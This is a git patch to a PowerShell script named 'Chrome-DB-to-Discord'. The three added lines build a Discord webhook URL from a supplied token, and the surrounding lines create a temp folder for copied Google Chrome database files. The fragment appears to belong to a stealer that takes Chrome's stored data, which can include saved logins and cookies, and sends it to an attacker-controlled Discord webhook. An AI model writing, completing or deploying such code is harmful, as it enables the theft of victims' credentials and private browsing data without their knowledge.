From 89e634839fa07a704bd422da90abd6b084064bb3 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Thu, 19 Jun 2025 16:45:26 +0000 Subject: [PATCH] Update main.ps1 --- Chrome-DB-to-Discord/main.ps1 | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 index 52160c7..531c5c8 100644 --- a/Chrome-DB-to-Discord/main.ps1 +++ b/Chrome-DB-to-Discord/main.ps1 @@ -1,5 +1,8 @@ $dc = "$dc" +if ($dc.Length -lt 120){ + $dc = ("https://discord.com/api/webhooks/" + "$dc") +} $temp = [System.IO.Path]::GetTempPath() $tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles' $googledest = Join-Path -Path $tempFolder -ChildPath 'google'